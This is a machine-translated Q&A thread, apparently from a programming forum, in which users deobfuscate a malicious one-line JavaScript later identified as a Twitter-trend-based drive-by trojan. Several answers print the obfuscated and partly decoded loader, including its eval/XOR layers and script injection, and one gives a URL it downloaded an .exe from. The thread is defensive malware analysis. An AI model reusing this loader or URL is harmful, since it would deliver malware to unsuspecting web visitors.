Question

我有一个令人讨厌的javascript，我想要去混淆。我知道我可以启动一个虚拟机并看到它的所有荣耀中的恶意软件，但我更感兴趣的是它没有运行，而是以非混淆的形式查看它。如果它需要运行才能做到这一点，那么就这样吧，我想。任何人都知道如何做到这一点而不妥协自己？

谢谢，添

编辑：这是代码（一个班轮，它是在脚本标签之间）。这是发给我的，我无法访问服务器。

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var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds()); 
function asd(s)
{
    r="";
    for(i=0;i<s.length;i++)
    {
    if(s.charAt(i)=="Z")
    {
        s1="%"
    }
    else
    {
        s1=s.charAt(i)
    }
    r=r+s1;
    }
    return unescape(r);
}
function fds()
{
    return asd($a);
}

再次编辑：我选择了Matthew Flaschen，因为在看完它之后，Russ Cam和其他人已经帮助了解了这次特殊攻击所做的事情，以及如何解决这类问题。。马修碰巧跳得最快。

注意：在试图找到底部的过程中，我发现了一个非常方便的工具调用Malzilla。如果你需要做这种事情，它有很多很好的实用工具。谢谢大家！

Answer 1

这个木马被称为Twitini.A，并在此处记录：http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Trojan%3AJS%2FTwitini.A

我在自己的标本上有2层深度，然后用谷歌搜索出来。我很熟悉推特的搭配。我认为在特定日期使用已知的Twitter趋势来生成域名是很聪明的。

Answer 2

好的，第1阶段。这相对容易。 String.fromCharCode(101,118,97)是“eva”，所以它在fds()上调用eval函数。反过来只调用asd，这实际上只是用％替换“Z”。在我们浏览之后，我们会得到他们想要的代码eval：

op="%24a%3d%22dw(dcs%28cu%2c14%29);%22;";
ce="ar%43o%64e%41%74%280%29^%28%27%30x%300%27+e%73)%29)%3b}}";
;cb="e(d%73);%73t%3dtmp%3d%27%27;for(%69%3d0;%69%3cd%73.%6c%6";
da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";
cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";
cc="5ng%74h;%69%2b%2b)%7btmp%3dds%2esli%63e(%69%2c%69+1)%3bs";
st="%73%74%3d%22$a%3ds%74;%64c%73%28%64%61%2b%64b%2b%64%63%2bd%64+%64%65%2c1%30%29;%64w%28s%74)%3b%73t%3d$%61;%22;";
ca="%66%75nct%69%6fn%20%64%63s(d%73,%65s)%7bds%3dune%73ca%70";
dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";
dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";
cd="%74%3dst%2bStr%69n%67.f%72%6fmC%68ar%43o%64e((%74mp.%63h";
db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";
de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m";
cz="%66u%6ec%74io%6e c%7a%28cz%29%7bret%75rn %63a+c%62+%63c%2b%63d+%63e+c%7a;%7d;";
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      function callback2(x) {
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                ca='%64o%63um%65nt.%77r%69t%65(%22';
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        var exd = new Date;
        exd.setDate(exd.getDate() + ed);
        document.cookie = cnm + "=" + escape(v) + ";expires=" + exd.toGMTString();
    }

我解码了顶部的变量。 cz很有趣。它说cz="function cz(cz){return ca+cb+cc+cd+ce+cz;};";显示为

function dcs(ds,es){
    ds=unescape(ds);
    st=tmp='';
    for(i=0;i<ds.l%65ngth;i++){
        tmp=ds.slice(i,i+1);
        st=st+String.fromCharCode((tmp.ch! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m

虽然我在解码最后st=st+String.fromCharCode...部分时遇到了困难。

仍在继续前进。如果您查看解码值，st是st="st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";";然后添加“d”行，它就变成这样：

st="
        $a=st;
        dcs(fqb0t-7vrs}vyb>s}7+0fqb0cxyvdY~tuh0-0 +vb08fqb0y0y~0gy~tg>dg>dbu~tc9kyv08gy~tg>x0.0(0660gy~tg>x0,0"!0660y>y~tuh_v870 '790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbStuQd8!90;0gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~tg>x0,0)0ll00gy~tg>x0.0" 90660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0! 0;gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0 09kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK&M>aeubi>sxqbStuQd8!90;0'0;gy~tg>dg>dbu~tcKyMK&M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0 9kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tg>wt>wudEDSVe||Iuqb89+dy}uK7}~dx7M0-0gy~tg>wt>wudEDS]~dx89;!+dy}uK7tqi7M0-0gy~tg>wt>wudEDSTqdu89+fqb0t-7vrs}vyb>s}7+fqb0}~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07h{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<77<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<"<#<$<%<&<'<(<)9+ve~sdy~0Sq|se|qdu]qwys^e}rub8tqi<0}~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx"<0}~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!  +iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060 hQQ90;0~e}9050&#9050"&M0;0|uddubcK888dy}uK7iuqb7M060 hQQ90,,0"90;0~e}9050"%M+iuqbSx"0-0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0#90;0~e}9050! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m,10);
        dw(st);
        st=$a;
    ";

（缩进矿）。再次，仍然有这些长刺的麻烦。

Answer 3

好的，这应该是直截了当的。

var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds());

只是对eval

的调用

要了解正在评估的内容，我们必须解密字符串。我们应该能够通过asd函数...

运行它来相对安全地完成这项工作

这给了我们

op = '$a="dw(dcs(cu,14));";';
ce = "arCodeAt(0)^('0x00'+es)));}}"
dz = "function dw(t){ca='%64o%63um%65nt.%77r%69t%65(%22';ce='%22)';cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';cc='%3c%5c%2fscr%69pt%3e';window["e"+\"\"+ \"v\"+\"al\"](unescape(t))};"
cb = "e(ds);st=tmp='';for(i=0;i<ds.l%6";
da = "fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";
cu = "(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";
cc = "5ngth;i++){tmp=ds.slice(i,i+1);s";
st = 'st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";';
ca = "function dcs(ds,es){ds=unescap";
dc = "rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";
dd = "08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";
cd = "t=st+String.fromCharCode((tmp.ch";
db = "7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";
de = "!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m";
cz = /* "function cz(cz){return ca+cb+cc+cd+ce+cz;};"; */ 
        "function cz(cz){return \"function dcs(ds,es){ds=unescape(ds);st=tmp='';for(i=0;i<ds.l%65ngth;i++){tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));}}\"+cz;};";
if (document.cookie.indexOf('rf5f6ds') == -1) {
    function callback(x) {
        window.tw = x;
        var d = new Date();
        d.setTime(x["as_of"] * 1000);
        var h = d.getUTCHours();
        window.h = h;
        if (h > 8) {
            d.setUTCDate(d.getUTCDate() - 2);
        } else {
            d.setUTCDate(d.getUTCDate() - 3);
        }
        window.gd = d;
        var time = new Array();
        var shiftIndex = "";
        time["year"] = d.getUTCFullYear();
        time["month"] = d.getUTCMonth() + 1;
        time["day"] = d.getUTCDate();
        if (d.getUTCMonth() + 1 < 10) {
            shiftIndex = time["year"] + "-0" + (d.getUTCMonth() + 1);
        } else {
            shiftIndex = time["year"] + "-" + (d.getUTCMonth() + 1);
        }
        if (d.getUTCDate() < 10) {
            shiftIndex = shiftIndex + "-0" + d.getUTCDate();
        } else {
            shiftIndex = shiftIndex + "-" + d.getUTCDate();
        }
        document.write("<scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?date=" + shiftIndex + "&callback=callback2'>" + "</scr" + "ipt>");
    }
    function callback2(x) {
        window.tw = x;
        sc('rf5f6ds', 2, 7);
        eval(unescape(dz + cz + op + st) + 'dw(dz+cz($a+st));');
        document.write($a);
    }
    document.write("<img src='http://search.twitter.com/images/search/rss.png' width=1 height=1 style='visibility:hidden' /> <scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?callback=callback'>" + "</scr" + "ipt>");
} else {
    $a = ''
};

function sc(cnm, v, ed) {
    var exd = new Date();
    exd.setDate(exd.getDate() + ed);
    document.cookie = cnm + '=' + escape(v) + ';expires=' + exd.toGMTString();
};

这是一个经历和解除分配给变量的字符串的情况（我已经开始了......但是现在是时候睡觉了！）

Answer 4

如果它需要运行才能做到这一点，那么就这样吧，我想。任何人都知道如何做到这一点而不妥协自己？

最简单的方法就是在Linux中使用Chrome。

我刚刚以隐身模式在Linux中通过Chrome运行它。它看起来无害。 iframe的来源不起作用。

以下是WebKit开发者工具的截图，页面已完全加载（脚本标记只包含上述脚本）：

http://picasaweb.google.com/xsznix/MePwningSpam#5500978024402977090

编辑：似乎iframe加载了一个.exe文件。网址每次都不同。 http://niaijldnbvf.com/nte/PROX.exe

文件不再出现，它给我一个404错误。 Google的反网络钓鱼事件阻止了我的网址。

帮助反混淆这种JS攻击

4 个答案: